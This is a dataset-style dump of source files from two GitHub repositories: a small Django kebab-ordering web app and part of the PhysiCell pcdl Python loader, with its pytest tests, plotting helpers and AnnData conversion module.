repo_name
stringlengths
5
114
repo_url
stringlengths
24
133
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
directory_id
stringlengths
40
40
branch_name
stringclasses
209 values
visit_date
timestamp[ns]
revision_date
timestamp[ns]
committer_date
timestamp[ns]
github_id
int64
9.83k
683M
star_events_count
int64
0
22.6k
fork_events_count
int64
0
4.15k
gha_license_id
stringclasses
17 values
gha_created_at
timestamp[ns]
gha_updated_at
timestamp[ns]
gha_pushed_at
timestamp[ns]
gha_language
stringclasses
115 values
files
listlengths
1
13.2k
num_files
int64
1
13.2k
hanzyoyo/Stocks
https://github.com/hanzyoyo/Stocks
8bfbcf7b0e7cb9f2035b1c523eec38023cf50943
e473752073242e692392ad9eb5bc76ff7d57beb7
1a299e4e0fca42ed1b8231764f214c8e8dd9079c
refs/heads/master
2021-01-01T18:29:10.359321
2014-03-01T23:22:22
2014-03-01T23:22:22
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7339228391647339, "alphanum_fraction": 0.7355305552482605, "avg_line_length": 25.46808433532715, "blob_id": "62068d3d585bc748dd5998ed5cdd1c92324b5ee2", "content_id": "dd6e34166d1397ac87d330b0df6f9d73d1ea3904", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1244, "license_type": "no_license", "max_line_length": 81, "num_lines": 47, "path": "/evenement/views.py", "repo_name": "hanzyoyo/Stocks", "src_encoding": "UTF-8", "text": "#coding=utf-8\n\nfrom django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\n\nfrom evenement.models import Commande, Evenement, Creneau\nfrom evenement.forms import IndexForm\n\nfrom django.utils import timezone\n\n@login_required\ndef paps(request):\n #creer l'objet commande a partir du call AJAX du formulaire\n\n client = request.user\n commande = Commande(creneau, client, nb_kebabs)\n commande.save()\n\n return render(request,'evenement/confirmation.html', {'commande' : commande})\n\n@login_required\ndef index(request):\n\tevenements = Evenement.objects.all().order_by('-date_evenement')\n\n\tif not evenements.count():\n\t\treturn render(request, 'evenement/rien.html')\n\telse:\n\t\tevenement = evenements[0]\n\n\tif timezone.now() < evenement.date_paps :\n\t\treturn render(request, 'evenement/rien.html')\n\telse:\n\t\tcreneaux = Creneau.objects.filter(evenement = evenement)\n\n\tif request.method == 'POST':\n\t\tform = IndexForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tnb_kebabs = form.cleaned_data[\"nb_kebabs\"]\n\t\t\tcreneau = form.cleaned_data[\"creneau\"]\n\n\t\t\t#creneau = creneaux.filter(heure = heure)\n\n\t\t\treturn redirect(paps,locals())\n\telse:\n\t\tform = IndexForm(creneaux)\n\n\treturn render(request,'evenement/index.html',locals())\n" }, { "alpha_fraction": 0.8377193212509155, "alphanum_fraction": 0.8377193212509155, "avg_line_length": 31.571428298950195, "blob_id": "dc678899336d2570e8b4f8a9fd95a13e760ffe60", "content_id": "153c96897a1986421b412aa90d70669205aa3048", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 228, "license_type": "no_license", "max_line_length": 55, "num_lines": 7, "path": "/evenement/admin.py", "repo_name": "hanzyoyo/Stocks", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom evenement.models import Evenement,Creneau,Commande\n\n# Register your models here for administration.\nadmin.site.register(Evenement)\nadmin.site.register(Creneau)\nadmin.site.register(Commande)\n" }, { "alpha_fraction": 0.7325227856636047, "alphanum_fraction": 0.73617023229599, "avg_line_length": 28.375, "blob_id": "5a30a91f8550cf4d907c2b07729d21233a9c1c5b", "content_id": "3c8d36d07c98f92e72384598c8742b16af1af2b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1657, "license_type": "no_license", "max_line_length": 103, "num_lines": 56, "path": "/evenement/models.py", "repo_name": "hanzyoyo/Stocks", "src_encoding": "UTF-8", "text": "#coding=utf-8\n\nfrom django.db import models\nfrom django.contrib.auth.models import User\nfrom datetime import timedelta\n\n# Create your models here.\n\nclass Evenement(models.Model):\n\t#constantes\n\tduree_creneau = 15\n\n\tdate_paps = models.DateTimeField(u'Date du paps')\n\tdate_evenement = models.DateTimeField(u'Date de l\\'événement')\n\ttotal_kebabs = models.IntegerField(max_length = 3)\n\tkebabs_par_creneaux = models.IntegerField(max_length = 2)\n\n\t#override de l'affichage dans l'interface admin\n\tclass Meta:\n\t\tverbose_name = u'Événement'\n\t\tverbose_name_plural = u'Événements'\n\t\tget_latest_by = u'date_evenement'\n\n\nclass Creneau(models.Model):\n\tevenement = models.ForeignKey(Evenement)\n\tkebab_restant = models.IntegerField(u'nombre de kebabs encore papsables sur ce créneau', max_length=2)\n\theure = models.DateTimeField(u'heure à laquelle il faut apporter la commande')\n\n\tdef __unicode__(self):\n\t\treturn unicode(self.heure)\n\n\tclass Meta:\n\t\tverbose_name = 'Créneau'\n\t\tverbose_name_plural = 'Créneaux'\n ordering = ['heure']\n\nclass Commande(models.Model):\n\tcreneau = models.ForeignKey(Creneau)\n #TODO : client = models.ForeignKey('Client')\n\tcommande = models.IntegerField(u'Nombre de kebabs commandés')\n\n\tdef delete(self, *args, **kwargs):\n\t\t#On rajoute les places au créneau\n\t\tself.creneau.kebab_restant += self.commande\n\t\tself.creneau.save()\n\n\t\tsuper(Commande, self).delete(*args, **kwargs)\n\n #TODO : definir le save pour retirer les kebabs du creneau une fois la commande validee par mail\n\n\tdef save(self, *args, **kwargs):\n\t\tself.creneau.kebab_restant -= self.commande\n\t\tself.creneau.save()\n\n\t\tsuper(Commande, self).save(*args, **kwargs)\n" }, { "alpha_fraction": 0.7463933229446411, "alphanum_fraction": 0.7471526265144348, "avg_line_length": 34.5945930480957, "blob_id": "67e1d4c79392c7855c253cfb16470b4fe221594b", "content_id": "eefd35328fbb96e1b7c69ddc1f51b50e19f5ad7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1327, "license_type": "no_license", "max_line_length": 118, "num_lines": 37, "path": "/utilisateurs/views.py", "repo_name": "hanzyoyo/Stocks", "src_encoding": "UTF-8", "text": "#coding=utf-8\n\nfrom django.shortcuts import render,render_to_response\nfrom utilisateurs.forms import UserCreateForm,ConnexionForm\nfrom django.contrib.auth import authenticate,login\nfrom django.template import RequestContext\n\n#vue pour la création d'un nouvel utilisateur\ndef registration(request):\n\tif request.method == 'POST':\n\t\tform = UserCreationForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tuser = form.save()\n\t\t\treturn render(request, 'index.html',locals())\n\telse:\n\t\tform = UserCreationForm()\n\t\n\treturn render_to_response('utilisateurs/registration.html', {'form': form,},context_instance=RequestContext(request))\n\n#vue appelée pour la connexion d'un utilisateur\ndef connexion(request):\n\terror = False\n\n\tif request.method == \"POST\":\n\t\tform = ConnexionForm(request.POST)\n\t\tif form.is_valid():\n\t\t\tusername = form.cleaned_data[\"username\"] # Nous récupérons le nom d'utilisateur\n\t\t\tpassword = form.cleaned_data[\"password\"] # … et le mot de passe\n\t\t\tuser = authenticate(username=username, password=password) #Nous vérifions si les données sont correctes\n\t\t\tif user: # Si l'objet renvoyé n'est pas None\n\t\t\t\tlogin(request, user) # nous connectons l'utilisateur\n\t\t\telse: #sinon une erreur sera affichée\n\t\t\t\terror = True\n\telse:\n\t\tform = ConnexionForm()\n\n\treturn render(request, 'utilisateurs/connexion.html',locals())\n" }, { "alpha_fraction": 0.6748681664466858, "alphanum_fraction": 0.6783831119537354, "avg_line_length": 30.61111068725586, "blob_id": "40170527b226b486f4aebb63d46ff97660ee317b", "content_id": "f89ffcbe1052f5e5b2fe0c40008c813d8573f9a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 569, "license_type": "no_license", "max_line_length": 80, "num_lines": 18, "path": "/Stocks/urls.py", "repo_name": "hanzyoyo/Stocks", "src_encoding": "UTF-8", "text": "#coding=utf-8\n\nfrom django.conf.urls import patterns, include, url\n\n#permet d'activer l'administration du site\nfrom django.contrib import admin\nadmin.autodiscover()\n\nurlpatterns = patterns('',\n # Examples:\n # url(r'^$', 'StocksV2.views.home', name='home'),\n # url(r'^blog/', include('blog.urls')),\n\n\turl(r'^index/$', 'evenement.views.index', name='index'),\n url(r'^register/$', 'utilisateurs.views.registration', name='registration'),\n\turl(r'^connexion/$', 'utilisateurs.views.connexion', name='connexion'),\n url(r'^admin/', include(admin.site.urls)),\n)\n" }, { "alpha_fraction": 0.7215686440467834, "alphanum_fraction": 0.7372549176216125, "avg_line_length": 30.875, "blob_id": "b01909ea44801e9d24b4beb0fcd6431f309e3ae9", "content_id": "71a6a8b52e29acd38d450d13609f045c1f9956b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 255, "license_type": "no_license", "max_line_length": 74, "num_lines": 8, "path": "/evenement/forms.py", "repo_name": "hanzyoyo/Stocks", "src_encoding": "UTF-8", "text": "#-*- coding: utf-8 -*-\n\nfrom django import forms\nfrom evenement.models import Creneau\n\nclass IndexForm(forms.Form):\n\theure = forms.ModelChoiceField(queryset=Creneau.objects.all())\n\tnb_kebabs = forms.ChoiceField(widget=forms.Select, choices=('1','2','3'))\n" } ]
6
PhysiCell-Tools/python-loader
https://github.com/PhysiCell-Tools/python-loader
84ff506995565626f9f55cb4b30db0f4d2ea571a
8a53f6f4803434f8f89ae17209408ded08c321b9
5567ac4b77740a6359bbfae09044e0a5c523421c
refs/heads/master
2023-08-17T21:17:01.862410
2023-08-13T03:11:50
2023-08-13T03:11:50
206,127,860
11
10
BSD-3-Clause
2019-09-03T16:56:32
2023-08-12T17:21:34
2023-08-13T03:11:51
Python
[ { "alpha_fraction": 0.5545282363891602, "alphanum_fraction": 0.5864677429199219, "avg_line_length": 37.682926177978516, "blob_id": "a74c0335f2897d33387414c49b30af650397048c", "content_id": "9728b975aa6a883d1856a47b705a7535061dab28", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4759, "license_type": "permissive", "max_line_length": 117, "num_lines": 123, "path": "/test/test_anndata_2d.py", "repo_name": "PhysiCell-Tools/python-loader", "src_encoding": "UTF-8", "text": "####\n# title: test_anndata_2d.py\n#\n# language: python3\n# author: Elmar Bucher\n# date: 2023-06-24\n# license: BSD 3-Clause\n#\n# description:\n# pytest unit test library for the pcdl library TimeStep and TimeSeries class.\n# + https://docs.pytest.org/\n#\n# note:\n# assert actual == expected, message\n# == value equality\n# is reference equality\n# pytest.approx for real values\n#####\n\n\n# load library\nimport numpy as np\nimport os\nimport pandas as pd\nimport pathlib\nimport pcdl\nimport pytest\n\n\n# const\ns_path_2d = str(pathlib.Path(pcdl.__file__).parent.resolve()/'data_timeseries_2d')\ns_file_2d = 'output00000024.xml'\ns_pathfile_2d = f'{s_path_2d}/{s_file_2d}'\n\n\n# test data\nif not os.path.exists(s_path_2d):\n pcdl.install_data()\n\n\n# helper function\nclass TestScaler(object):\n ''' test for pcdl.scaler function '''\n a_x = np.array([[ 1.,-1., 2., 0.],[ 2., 0., 0.,0.],[ 0., 1.,-1.,0.]])\n df_x = pd.DataFrame(a_x, columns=['a','b','c','d'])\n\n def test_scaler_none(self, df_x=df_x):\n df_scaled = pcdl.pyAnnData.scaler(df_x=df_x, scale=None)\n assert all(df_scaled == df_x)\n\n @pytest.mark.filterwarnings(\"ignore:invalid value encountered in divide\")\n def test_scaler_minabs(self, df_x=df_x):\n df_scaled = pcdl.pyAnnData.scaler(df_x=df_x, scale='maxabs')\n assert (df_scaled.values.sum().round(3) == 2.0) and \\\n (df_scaled.values.min().round(3) == -1.0) and \\\n (df_scaled.values.max().round(3) == 1.0)\n\n @pytest.mark.filterwarnings(\"ignore:invalid value encountered in divide\")\n def test_scaler_minmax(self, df_x=df_x):\n df_scaled = pcdl.pyAnnData.scaler(df_x=df_x, scale='minmax')\n assert (df_scaled.values.sum().round(3) == 4.333) and \\\n (df_scaled.values.min().round(3) == 0.0) and \\\n (df_scaled.values.max().round(3) == 1.0)\n\n @pytest.mark.filterwarnings(\"ignore:invalid value encountered in divide\")\n def test_scaler_std(self, df_x=df_x):\n df_scaled = pcdl.pyAnnData.scaler(df_x=df_x, scale='std')\n assert (df_scaled.values.sum().round(3) == 0.0) and \\\n (df_scaled.values.min().round(3) == -1.0) and \\\n (df_scaled.values.max().round(3) == 1.091)\n\n\n# load physicell data time step\nclass TestTimeStep(object):\n ''' test for pcdl.TimeStep class. '''\n mcds = pcdl.TimeStep(s_pathfile_2d, verbose=False)\n\n ## get_anndata command ##\n @pytest.mark.filterwarnings(\"ignore:invalid value encountered in divide\")\n def test_mcds_get_anndata(self, mcds=mcds):\n ann = mcds.get_anndata(states=1, drop=set(), keep=set(), scale='maxabs')\n assert (str(type(ann)) == \"<class 'anndata._core.anndata.AnnData'>\") and \\\n (ann.X.shape == (1099, 79)) and \\\n (ann.obs.shape == (1099, 6)) and \\\n (ann.obsm['spatial'].shape == (1099, 2)) and \\\n (ann.var.shape == (79, 0)) and \\\n (len(ann.uns) == 0)\n\n\n# load physicell data time series\nclass TestTimeSeries(object):\n ''' test for pcdl.TestSeries class. '''\n mcdsts = pcdl.TimeSeries(s_path_2d, verbose=False)\n\n ## get_anndata command ##\n @pytest.mark.filterwarnings(\"ignore:invalid value encountered in divide\")\n def test_mcdsts_get_anndata_collapse_mcds(self, mcdsts=mcdsts):\n ann = mcdsts.get_anndata(states=1, drop=set(), keep=set(), scale='maxabs', collapse=True, keep_mcds=True)\n assert (len(mcdsts.l_mcds) == 25) and \\\n (str(type(ann)) == \"<class 'anndata._core.anndata.AnnData'>\") and \\\n (ann.X.shape == (24758, 79)) and \\\n (ann.obs.shape == (24758, 7)) and \\\n (ann.obsm['spatial'].shape == (24758, 2)) and \\\n (ann.var.shape == (79, 0)) and \\\n (len(ann.uns) == 0)\n\n @pytest.mark.filterwarnings(\"ignore:invalid value encountered in divide\")\n def test_mcdsts_get_anndata_noncollapse_nonmcds(self, mcdsts=mcdsts):\n l_ann = mcdsts.get_anndata(states=1, drop=set(), keep=set(), scale='maxabs', collapse=False, keep_mcds=False)\n assert (len(mcdsts.l_mcds) == 0) and \\\n (str(type(l_ann)) == \"<class 'list'>\") and \\\n (len(l_ann) == 25) and \\\n (all([str(type(ann)) == \"<class 'anndata._core.anndata.AnnData'>\" for ann in l_ann])) and \\\n (l_ann[24].X.shape == (1099, 79)) and \\\n (l_ann[24].obs.shape == (1099, 6)) and \\\n (l_ann[24].obsm['spatial'].shape == (1099, 2)) and \\\n (l_ann[24].var.shape == (79, 0)) and \\\n (len(l_ann[24].uns) == 0)\n\n ## get_annmcds_list command ##\n def test_mcdsts_get_annmcds_list(self, mcdsts=mcdsts):\n l_annmcds = mcdsts.get_annmcds_list()\n assert l_annmcds == mcdsts.l_annmcds\n\n" }, { "alpha_fraction": 0.6307467818260193, "alphanum_fraction": 0.634638786315918, "avg_line_length": 31.619047164916992, "blob_id": "ebf0666d39d4595b215eb0e96788e3a703011743", "content_id": "0020759cd393b3e22ce98d4ca0448f73a293c12d", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4111, "license_type": "permissive", "max_line_length": 108, "num_lines": 126, "path": "/pcdl/pdplt.py", "repo_name": "PhysiCell-Tools/python-loader", "src_encoding": "UTF-8", "text": "####\n# title: biotransistor.pdplt.py\n#\n# language: python3\n# date: 2019-06-29\n# license: GPL>=v3\n# author: Elmar Bucher\n#\n# description:\n# library with the missing pandas plot features.\n# https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.plot.html\n####\n\n\n# library\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nfrom matplotlib import colors\nimport matplotlib.patches as mpatches\nimport numpy as np\nimport random\n\n\n# pandas to matplotlib\n#fig, ax = plt.subplots()\n#ax = ax.ravel()\n#ax.axis('equal')\n#df.plot(ax=ax)\n#plt.tight_layout()\n#fig.savefig(s_filename, facecolor='white')\n#plt.close()\n\n\n# plot stuff\ndef df_label_to_color(df_abc, s_label, es_label=None, s_cmap='viridis', b_shuffle=False):\n '''\n input:\n df_abc: dataframe to which the color column will be added.\n s_label: column name with sample labels for which a color column will be generated.\n es_label: set of labels. if None, es_label will be extracted for the s_label column.\n s_cmap: matplotlib color map label.\n https://matplotlib.org/stable/tutorials/colors/colormaps.html\n b_shuffle: should colors be given by alphabetical order,\n or should the label color mapping order be random.\n\n output:\n df_abc: dataframe updated with color column.\n ds_color: lable to hex color string mapping dictionary\n\n description:\n function adds for the selected label column\n a color column to the df_abc dataframe.\n '''\n if (es_label is None):\n es_label = set(df_abc.loc[:,s_label])\n ls_label = sorted(es_label)\n if b_shuffle:\n random.shuffle(ls_label)\n a_color = plt.get_cmap(s_cmap)(np.linspace(0, 1, len(ls_label)))\n do_color = dict(zip(ls_label, a_color))\n ds_color = {}\n for s_category, o_color in do_color.items():\n ds_color.update({s_category : colors.to_hex(o_color)})\n # output\n df_abc[f'{s_label}_color'] = [ds_color[s_scene] for s_scene in df_abc.loc[:,s_label]]\n return(ds_color)\n\ndef ax_colorlegend(ax, ds_color, s_loc='lower left', s_fontsize='small'):\n '''\n input:\n ax: matplotlib axis object to which a color legend will be added.\n ds_color: lables to color strings mapping dictionary\n s_loc: the location of the legend.\n possible strings are: best,\n upper right, upper center, upper left, center left,\n lower left, lower center, lower right, center right,\n center.\n s_fontsize: font size used for the legend. known are:\n xx-small, x-small, small, medium, large, x-large, xx-large.\n\n output:\n ax: matplotlib axis object updated with color legend.\n\n description:\n function to add color legend to a figure.\n '''\n lo_patch = []\n for s_label, s_color in sorted(ds_color.items()):\n o_patch = mpatches.Patch(color=s_color, label=s_label)\n lo_patch.append(o_patch)\n ax.legend(\n handles = lo_patch,\n loc = s_loc,\n fontsize = s_fontsize\n )\n\ndef ax_colorbar(ax, r_vmin, r_vmax, s_cmap='viridis', s_text=None, o_fontsize='medium', b_axis_erase=False):\n '''\n input:\n ax: matplotlib axis object to which a colorbar will be added.\n r_vmin: colorbar min value.\n r_vmax: colorbar max value.\n s_cmap: matplotlib color map label.\n https://matplotlib.org/stable/tutorials/colors/colormaps.html\n s_text: to label the colorbar axis.\n o_fontsize: font size used for the legend. known are:\n xx-small, x-small, small, medium, large, x-large, xx-large.\n b_axis_erase: should the axis ruler be erased?\n\n output:\n ax: matplotlib axis object updated with colorbar.\n\n description\"\n function to add colorbar to a figure.\n '''\n if b_axis_erase:\n ax.axis('off')\n if not (s_text is None):\n ax.text(0.5,0.5, s_text, fontsize=o_fontsize)\n plt.colorbar(\n cm.ScalarMappable(\n norm=colors.Normalize(vmin=r_vmin, vmax=r_vmax, clip=False),\n cmap=s_cmap,\n ),\n ax=ax,\n )\n\n" }, { "alpha_fraction": 0.6028677821159363, "alphanum_fraction": 0.6070631742477417, "avg_line_length": 41.503387451171875, "blob_id": "1bc40898a3d88f256b1b4796646283e99caf293f", "content_id": "ac352b01e6ade6e360bdff4b27e1d48e6e22ee54", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 18830, "license_type": "permissive", "max_line_length": 168, "num_lines": 443, "path": "/pcdl/pyAnnData.py", "repo_name": "PhysiCell-Tools/python-loader", "src_encoding": "UTF-8", "text": "###\n# title: pyAnnData.py\n#\n# language: python3\n# date: 2023-06-24\n# license: BSD-3-Clause\n# author: Elmar Bucher\n#\n# description:\n# pyAnnData.py spices up the pyMCDS (TimeStep) and pyMCDSts (TimeSeries)\n# classes with a function to transform mcds time steps and time series\n# into anndata objects.\n# anndata is the de facto python3 single cell data standard.\n# In other words, these functions enable us to analyze PhysiCell output\n# the same way that bioinformatician analyze their data retrieved from\n# single cell wet lab experiments.\n#\n# + https://www.biorxiv.org/content/10.1101/2021.12.16.473007v1\n# + https://anndata.readthedocs.io/en/latest/\n# + https://scverse.org/\n####\n\n\nimport anndata as ad\nimport numpy as np\nimport pandas as pd\nfrom pcdl.pyMCDS import pyMCDS, es_coor_cell\nfrom pcdl.pyMCDSts import pyMCDSts\n\n\ndef scaler(df_x, scale='maxabs'):\n \"\"\"\n input:\n df_x: pandas dataframe\n one feature per column, one sample per row.\n\n scale: string; default 'maxabs'\n None: no scaling. set scale to None if you would like to have raw data\n or entirely scale, transform, and normalize the data later.\n\n maxabs: maximum absolute value distance scaler will linearly map\n all values into a [-1, 1] interval. if the original data\n has no negative values, the result will be the same as with\n the minmax scaler (except with features with only one state).\n if the feature has only zeros, the value will be set to 0.\n\n minmax: minimum maximum distance scaler will map all values\n linearly into a [0, 1] interval.\n if the feature has only one state, the value will be set to 0.\n\n std: standard deviation scaler will result in sigmas.\n each feature will be mean centered around 0.\n ddof delta degree of freedom is set to 1 because it is assumed\n that the values are samples out of the population\n and not the entire population. it is incomprehensible to me\n that the equivalent sklearn method has ddof set to 0.\n if the feature has only one state, the value will be set to 0.\n\n output:\n df_x: pandas dataframe\n scaled df_x dataframe.\n\n description:\n inspired by scikit-learn's preprocessing scaling method, this function\n offers a re-implementation of the linear re-scaling methods maxabs,\n minmax, and scale.\n\n the robust scaler methods (quantile based) found there are missing.\n since we deal with simulated data, we don't expect heavy outliers,\n and if they exist, then they are of interest.\n the power and quantile based transformation methods and unit circle\n based normalizer methods found there are missing too.\n if you need to apply any such methods, you can do so to an anndata object\n like this:\n\n from sklearn import preprocessing\n adata.obsm[\"X_scaled\"] = preprocessing.scale(adata.X)\n\n + https://scikit-learn.org/stable/auto_examples/preprocessing/plot_all_scaling.html\n + https://scikit-learn.org/stable/modules/classes.html#module-sklearn.preprocessing\n + https://scikit-learn.org/stable/modules/generated/sklearn.preprocessing.maxabs_scale.html\n + https://scikit-learn.org/stable/modules/generated/sklearn.preprocessing.minmax_scale.html\n + https://scikit-learn.org/stable/modules/generated/sklearn.preprocessing.scale.html\n \"\"\"\n if scale is None:\n pass\n # -1,1\n elif scale == 'maxabs':\n a_x = df_x.values\n a_maxabs = a_x / abs(a_x).max(axis=0)\n a_maxabs[np.isnan(a_maxabs)] = 0 # fix if entier column is 0\n df_x = pd.DataFrame(a_maxabs, columns=df_x.columns, index=df_x.index)\n # 0,1\n elif scale == 'minmax':\n a_x = df_x.values\n a_minmax = (a_x - a_x.min(axis=0)) / (a_x.max(axis=0) - a_x.min(axis=0))\n a_minmax[np.isnan(a_minmax)] = 0 # fix if entier column has same value\n df_x = pd.DataFrame(a_minmax, columns=df_x.columns, index=df_x.index)\n # sigma\n elif scale == 'std':\n a_x = df_x.values\n a_std = (a_x - a_x.mean(axis=0)) / a_x.std(axis=0, ddof=1)\n a_std[np.isnan(a_std)] = 0 # fix if entier column has same value\n df_x = pd.DataFrame(a_std, columns=df_x.columns, index=df_x.index)\n else:\n raise ValueError(f\"Error @ scaler : unknown scale algorithm {scale} detected. known are [None, 'maxabs', 'minmax', 'std'].\")\n return df_x\n\n\ndef _anndextract(df_cell, scale='maxabs'):\n \"\"\"\n input:\n df_cell: pandas dataframe\n data frame retrieved with the mcds.get_cell_df function.\n\n scale: string; default 'maxabs'\n specify how the data should be scaled.\n possible values are None, maxabs, minmax, std.\n for more input, check out: help(pcdl.scaler).\n\n output:\n df_count, df_obs, df_spatial pandas dataframes\n ready to be backed into an anndata object.\n\n description:\n this function takes a pcdl df_cell pandas dataframe and re-formats\n it into a set of three dataframes (df_count, df_obs, and df_spatial),\n which downstream might be transformed into an anndata object.\n \"\"\"\n # transform index to string\n df_cell.index = df_cell.index.astype(str)\n\n # build on spatial and obs anndata object\n if (len(set(df_cell.position_z)) == 1):\n df_spatial = df_cell.loc[:,['position_x', 'position_y']].copy()\n else:\n df_spatial = df_cell.loc[:,['position_x', 'position_y','position_z']].copy()\n df_obs = df_cell.loc[:,['mesh_center_p', 'time']].copy()\n df_obs.columns = ['z_layer', 'time']\n\n # extract discrete cell data\n es_drop = set(df_cell.columns).intersection({\n 'voxel_i', 'voxel_j', 'voxel_k',\n 'mesh_center_m', 'mesh_center_n', 'mesh_center_p',\n 'position_x', 'position_y','position_z',\n 'time', 'runtime',\n })\n df_cell.drop(es_drop, axis=1, inplace=True) # maybe obs?\n\n # dectect variable types\n des_type = {'float': set(), 'int': set(), 'bool': set(), 'str': set()}\n for _, se_cell in df_cell.items():\n if str(se_cell.dtype).startswith('float'):\n des_type['float'].add(se_cell.name)\n elif str(se_cell.dtype).startswith('int'):\n des_type['int'].add(se_cell.name)\n elif str(se_cell.dtype).startswith('bool'):\n des_type['bool'].add(se_cell.name)\n elif str(se_cell.dtype).startswith('object'):\n des_type['str'].add(se_cell.name)\n else:\n print(f'Error @ TimeSeries.get_anndata : column {se_cell.name} detected with unknown dtype {str(se_cell.dtype)}.')\n\n # build on obs and X anndata object\n df_cat = df_cell.loc[:,sorted(des_type['str'])].copy()\n df_obs = pd.merge(df_obs, df_cat, left_index=True, right_index=True)\n es_num = des_type['float'].union(des_type['int'].union(des_type['bool']))\n df_count = df_cell.loc[:,sorted(es_num)].copy()\n for s_col in des_type['bool']:\n df_count[s_col] = df_count[s_col].astype(int)\n df_count = scaler(df_count, scale=scale)\n\n # output\n return(df_count, df_obs, df_spatial)\n\n\n# class definition\nclass TimeStep(pyMCDS):\n \"\"\"\n input:\n xmlfile: string\n name of the xml file with or without path.\n in the with path case, output_path has to be set to the default!\n\n output_path: string; default '.'\n relative or absolute path to the directory where\n the PhysiCell output files are stored.\n\n custom_type: dictionary; default is {}\n variable to specify custom_data variable types\n besides float (int, bool, str) like this: {var: dtype, ...}.\n downstream float and int will be handled as numeric,\n bool as Boolean, and str as categorical data.\n\n microenv: boole; default True\n should the microenvironment be extracted?\n setting microenv to False will use less memory and speed up\n processing, similar to the original pyMCDS_cells.py script.\n\n graph: boole; default True\n should the graphs be extracted?\n setting graph to False will use less memory and speed up processing.\n\n settingxml: string; default PhysiCell_settings.xml\n from which settings.xml should the substrate and cell type\n ID label mapping be extracted?\n set to None or False if the xml file is missing!\n\n verbose: boole; default True\n setting verbose to False for less text output while processing.\n\n output:\n mcds: TimeStep class instance\n all fetched content is stored at mcds.data.\n\n description:\n TimeStep.__init__ will call pyMCDS.__init__ that generates a mcds\n class instance, a dictionary of dictionaries data structure that\n contains all output from a single PhysiCell model time step.\n furthermore, the mcds object offers functions to access the stored data.\n the code assumes that all related output files are stored\n in the same directory. data is loaded by reading the xml file for\n a particular time step and the therein referenced files.\n \"\"\"\n def __init__(self, xmlfile, output_path='.', custom_type={}, microenv=True, graph=True, settingxml='PhysiCell_settings.xml', verbose=True):\n pyMCDS.__init__(self, xmlfile=xmlfile, output_path=output_path, custom_type=custom_type, microenv=microenv, graph=graph, settingxml=settingxml, verbose=verbose)\n\n def get_anndata(self, states=1, drop=set(), keep=set(), scale='maxabs'):\n \"\"\"\n input:\n states: integer; default is 1\n minimal number of states a variable has to have to be outputted.\n variables that have only 1 state carry no information.\n None is a state too.\n\n drop: set of strings; default is an empty set\n set of column labels to be dropped for the dataframe.\n don't worry: essential columns like ID, coordinates\n and time will never be dropped.\n Attention: when the keep parameter is given, then\n the drop parameter has to be an empty set!\n\n keep: set of strings; default is an empty set\n set of column labels to be kept in the dataframe.\n set states=1 to be sure that all variables are kept.\n don't worry: essential columns like ID, coordinates\n and time will always be kept.\n\n scale: string; default 'maxabs'\n specify how the data should be scaled.\n possible values are None, maxabs, minmax, std.\n for more input, check out: help(pcdl.scaler)\n\n output:\n annmcds: anndata object\n for this one time step.\n\n description:\n function to transform a mcds time step into an anndata object\n for downstream analysis.\n \"\"\"\n # processing\n print(f'processing: 1/1 {round(self.get_time(),9)}[min] mcds into anndata obj.')\n df_cell = self.get_cell_df(states=states, drop=drop, keep=keep)\n df_count, df_obs, df_spatial = _anndextract(df_cell=df_cell, scale=scale)\n annmcds = ad.AnnData(X=df_count, obs=df_obs, obsm={\"spatial\": df_spatial.values})\n\n # output\n return annmcds\n\n\nclass TimeSeries(pyMCDSts):\n \"\"\"\n input:\n output_path: string, default '.'\n relative or absolute path to the directory where\n the PhysiCell output files are stored.\n\n custom_type: dictionary; default is {}\n variable to specify custom_data variable types\n besides float (int, bool, str) like this: {var: dtype, ...}.\n downstream float and int will be handled as numeric,\n bool as Boolean, and str as categorical data.\n\n load: boole; default True\n should the whole time series data, all time steps, straight at\n object initialization be read and stored to mcdsts.l_mcds?\n\n microenv: boole; default True\n should the microenvironment be extracted?\n setting microenv to False will use less memory and speed up\n processing, similar to the original pyMCDS_cells.py script.\n\n graph: boole; default True\n should the graphs be extracted?\n setting graph to False will use less memory and speed up processing.\n\n settingxml: string; default PhysiCell_settings.xml\n from which settings.xml should the substrate and cell type\n ID label mapping be extracted?\n set to None or False if the xml file is missing!\n\n verbose: boole; default True\n setting verbose to False for less text output while processing.\n\n output:\n mcdsts: pyMCDSts class instance\n this instance offers functions to process all stored time steps\n from a simulation.\n\n description:\n TimeSeries.__init__ will call pyMCDSts.__init__ that generates a mcdsts\n class instance. this instance offers functions to process all time steps\n in the output_path directory.\n \"\"\"\n def __init__(self, output_path='.', custom_type={}, load=True, microenv=True, graph=True, settingxml='PhysiCell_settings.xml', verbose=True):\n pyMCDSts.__init__(self, output_path=output_path, custom_type=custom_type, load=load, microenv=microenv, graph=graph, settingxml=settingxml, verbose=verbose)\n self.l_annmcds = None\n\n def get_anndata(self, states=1, drop=set(), keep=set(), scale='maxabs', collapse=True, keep_mcds=True):\n \"\"\"\n input:\n states: integer; default is 1\n minimal number of states a variable has to have to be outputted.\n variables that have only 1 state carry no information.\n None is a state too.\n\n drop: set of strings; default is an empty set\n set of column labels to be dropped for the dataframe.\n don't worry: essential columns like ID, coordinates\n and time will never be dropped.\n Attention: when the keep parameter is given, then\n the drop parameter has to be an empty set!\n\n keep: set of strings; default is an empty set\n set of column labels to be kept in the dataframe.\n don't worry: 